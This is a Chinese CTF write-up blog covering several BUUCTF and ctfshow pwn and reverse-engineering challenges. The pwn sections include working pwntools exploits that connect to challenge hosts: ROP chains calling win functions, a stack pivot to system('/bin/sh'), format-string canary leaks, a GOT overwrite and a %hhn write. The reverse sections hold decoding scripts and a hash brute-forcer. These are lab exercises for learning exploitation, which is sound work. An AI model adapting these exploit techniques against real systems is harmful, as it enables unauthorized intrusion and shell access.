记录一个传参的pwn题
比较简单直接把exp,写详细点
win_function2是win_function1的返回地址,p32(win_function2)有参数,flag + 0xBAAAAAAD分别是win_function2的返回地址和参数,0xBAAAAAAD +0xDEADBAAD分别是flag的返回地址和参数
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
from LibcSearcher import *
#r = process('./PicoCTF_2018_rop_chain')
r = remote("node5.buuoj.cn", 29125)
offset = 0x18 + 0x04
win_function1 = 0x80485CB
win_function2 = 0x80485D8
flag = 0x804862B
payload = offset * b'a' + p32(win_function1) + p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) +p32(0xDEADBAAD)
r.sendline(payload)
r.interactive()还有一种方式就是将返回地址设置为ebp
1
2#ebp=0x0804859b
#payload=b'a'*(0x2c+4)+p32(0x8048586)+p32(0x804859D)+p32(ebp)+p32(0xACACACAC)+p32(0x8048606)+p32(ebp)+p32(0xBDBDBDBD)
[ACTF新生赛2020]usualCrypt
- 用IDA打开



现将混淆复原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char byte_40E0AA[] = "KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char byte_40E0A0[] = "ABCDEFGHIJ";
int result; // eax
char v1; // cl
for ( result = 6; result < 15; ++result )
{
v1 = byte_40E0AA[result];
byte_40E0AA[result] = byte_40E0A0[result];
byte_40E0A0[result] = v1;
}
printf("%s\n",byte_40E0A0);
printf("%s", byte_40E0AA);
}发现一个问题,byte_40E0A0[]只有10到不来15,所以要改进一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char byte_40E0AA[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int result; // eax
char v1; // cl
for ( result = 6; result < 15; ++result )
{
v1 = byte_40E0AA[result];
byte_40E0AA[result] = byte_40E0AA[result+10];
byte_40E0AA[result+10] = v1;
}
printf("%s", byte_40E0AA);
}1
ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/
将大小写复原
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char v2[] = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9" ;
int i,j;
char v1[strlen(v2)];
for(i = 0;i < strlen(v2); i++){
if ( (v2[i] < 97 || v2[i] > 122) && (v2[i] < 65 || v2[i] > 90) )
{
v1[i] = v2[i];
}
else if(v2[i] < 97 || v2[i] > 122){
v1[i] = v2[i] + 32;
}
else
{
v1[i] = v2[i] - 32;
}
}
printf("%s",v1);
}1
ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9
最后用在线网站解码

1
flag{bAse64_h2s_a_Surprise}
ciscn_2019_es_2(栈迁移)
碰到一个栈迁移的题目仔细记录一下
ciscn_2019_es_2
- 先用IDA打开

但是它有两个read,于是我们可以利用第一个泄露ebp的内容,利用第二个进行栈迁移,通过system函数执行/bin/sh
1
2
3
4
5
6
7
8
9
from pwn import *
r = process('./pwn')
#r = remote("node5.buuoj.cn", 25271)
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
r.interactive()
2. 动态调试找到s到ebp的距离,先在main的nop下断点



s和ebp的距离是0x38

当恢复ebp的备份时,这个备份恰好比原来多了0x10
栈偏移一般用leave和ret
1
2
3
4
5leave:
move esp ebp 将ebp指向的地址给esp
pop ebp 将esp指向的地址存放的值赋值给ebp
ret:
pop eip 将esp指向的地址存放的值赋值给eip构造payload2
1
2
3
4
5
6
7
8payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
payload2 += p32(system) #接上system的地址
payload2 += b'aaaa' #system的返回地址
payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
payload2 += b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
payload2 += p32(leave_ret)可以用ROP获取leave_ret的地址

完整exp
1 | python |
得到flag
ciscn-s-4
和ciscn_2019_es_2一样
1 | from pwn import * |
[2019红帽杯]easyRE
先用IDA打开,无main函数,查字符串

先进入个关键词

解码:


发现是干扰项
进入第二个关键词所在函数

在汇编界面,找到v12

逆向运算得到v15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
char v15[]={0x49,
0x6F,
0x64,
0x6C,
0x3E,
0x51,
0x6E,
0x62,
0x28,
0x6F,
0x63,
0x79,
0x7F,
0x79,
0x2E,
0x69,
0x7F,
0x64,
0x60,
0x33,
0x77,
0x7D,
0x77,
0x65,
0x6B,
0x39,
0x7B,
0x69,
0x79,
0x3D,
0x7E,
0x79,
0x4C,
0x40,
0x45,
0x43};
int i;
char result[strlen(v15)];
for ( i = 0; i < strlen(v15); ++i ){
result[i] =v15[i] ^ i;
}
printf("%s",result);
}
得到

到这里后没什么线索了,就在能再去找了
发现可疑字符串

进入函数

根据前面的提示,前4个字符是flag,猜测这个函数大概的意思就是v1分别和byte_6CC0A0和byte_6CC0A3的前四个字符异或是flag,就进行第二个循环,先可以编写解题脚本了
1 | #include<stdio.h> |
1 | flag{Act1ve_Defen5e_Test} |
BUUCTF jarvisoj_tell_me_something
用IDA打开


思路基本就是利用栈溢出,执行good_game函数。
但是有一点,这个汇编可以看到没leave。可以和rip对比一下
本题无leave
rip有leave

无leave的话就不用加0x08,直接0x88就可以了
编写exp
1
2
3
4
5
6
7from pwn import *
#r = process('./pwn')
r = remote("node5.buuoj.cn", 29720)
getshell = 0x400620
payload_1 = b'a'*(0x88) + p64(getshell)
r.sendline(payload_1)
r.interactive()得到flag

BUUCTF CrackRTF
先用IDA打开分析一下

哈希值的加密方式可以根据这个表
先用脚本爆破password1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import hashlib
# 目标哈希值
target_hash = '6E32D0943418C2C33385BC35A1470250DD8923A9'
# 固定字符串部分
fixed_str = '@DBApp'
# 数字范围
start_num = 99999
end_num = 1000000
# 暴力搜索
for num in range(start_num, end_num):
# 将数字转换为字符串并与固定字符串拼接,然后计算其SHA-256哈希值
test_str = str(num) + fixed_str
hash_object = hashlib.sha1(test_str.encode())
if hash_object.hexdigest().upper() == target_hash:
print(f"找到匹配的字符串: {test_str}")
break
else:
print("未找到匹配的字符串")1
找到匹配的字符串: 123321@DBApp
因为第二个恰好是MD5加密有在线网站

再运行exe

由此可知会产生一个dbapp.rtf文件,打开

1 | Flag{N0_M0re_Free_Bugs} |
BUUCTF re
re
查壳发现是upx
用upx工具脱壳
进入IDA看到

这题简单a1就是flag,附上脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31def calculate_a1_to_string():
# 定义所有的乘数和期望结果
multipliers = [1629056, 6771600, 3682944, 10431000, 3977328, 5138336, None,
7532250, 5551632, 3409728, 13013670, 6088797, 7884663, 8944053,
5198490, 4544518, 10115280, 3645600, 9667504, 5364450,
13464540, 5488432, 14479500, 6451830, 6252576, 7763364,
7327320, 8741520, 8871876, 4086720, 9374400, 5759124]
results = [166163712, 731332800, 357245568, 1074393000, 489211344, 518971936,
None, 406741500, 294236496, 177305856, 650683500, 298351053,
386348487, 438258597, 249527520, 445362764, 981182160, 174988800,
493042704, 257493600, 767478780, 312840624, 1404511500, 316139670,
619005024, 372641472, 373693320, 498266640, 452465676, 208422720,
515592000, 719890500]
a1 = []
for i in range(len(multipliers)):
if multipliers[i] is None: # 对于a1[6],我们不知道具体的乘数,所以这里可以随意设置一个值或者保持为None
a1.append('?') # 在此位置添加一个占位符
else:
value = results[i] // multipliers[i] # 计算出正确的a1[i]值
try:
char = chr(value) # 将数值转换为对应的字符
except ValueError:
char = '?' # 如果值不在有效的ASCII范围内,则使用'?'作为占位符
a1.append(char)
# 将数组转换为字符串格式
return ''.join(a1)
print(calculate_a1_to_string())由于a1[6]不知道先设成’?’,在一个个试,最后试出来是1
得到flag
1
flag{e165421110ba03099a1c039337}
pwn98(canary,格式化字符串)
ctfshow pwn98
由题目意思:Canary?有没有办法绕过呢?知道有canary
有IDA打开

存在格式化字符串漏洞
计算偏移量

偏移值是5,在计算一下s到返回地址的是0x34,所以(0x34-canary)/4 + 5 = a,a就是最终的偏移量,不了解canary的可以看这篇文章
- 接着找canary

a = (0x34-0x0c)/4 + 5 = 15
开始写exp
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
#r = process('./pwn')
r = remote("pwn.challenge.ctf.show", 28195)
getshell = 0x80486ce
payload_1 = b'%15$x'
r.recv()
r.sendline(payload_1)
canary = int(r.recv(),16) #canary = int(r.recv(8),16)
print(hex(canary))
payload_2 = b'a' * (0x34 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
r.send(payload_2)
r.interactive()得到flag

pwn94
pwn94(格式化字符串)
先用IDA打开,可以利用格式化字符串漏洞

找到system函数

找到偏移量为6

构造exp
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
#context(arch='i386',os='linux',log_level='debug')
elf = ELF('./pwn')
offset = 6
p = remote('pwn.challenge.ctf.show', 28175)
printf_got = elf.got["printf"]
sys_plt = elf.plt["system"]
#把printf_got换成sys_plt,当执行printf的时候实实际在执行system函数
payload = fmtstr_payload(offset,{printf_got:sys_plt})
p.sendline(payload)
p.send("bin_sh")
p.interactive()得到flag

jarvisoj_fm(格式化字符串)
jarvisoj_fm
首先可以去了解一下格式化话字符串漏洞看看佬的博客
可以利用格式化字符串漏洞

先查看偏移量(aaaa与0x61616161之间的距离,0x61是a的ASCII值)
1
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

查找x的地址

构造exp.py
1
2
3
4
5
6
7
8
9
10from pwn import *
#context(arch='i386',os='linux',log_level='debug')
elf = ELF('./fm')
p = remote('node5.buuoj.cn', 26501)
x = 0x0804A02C
payload = p32(x)+b"%11$hhn"
p.sendline(payload)
p.interactive()得到flag
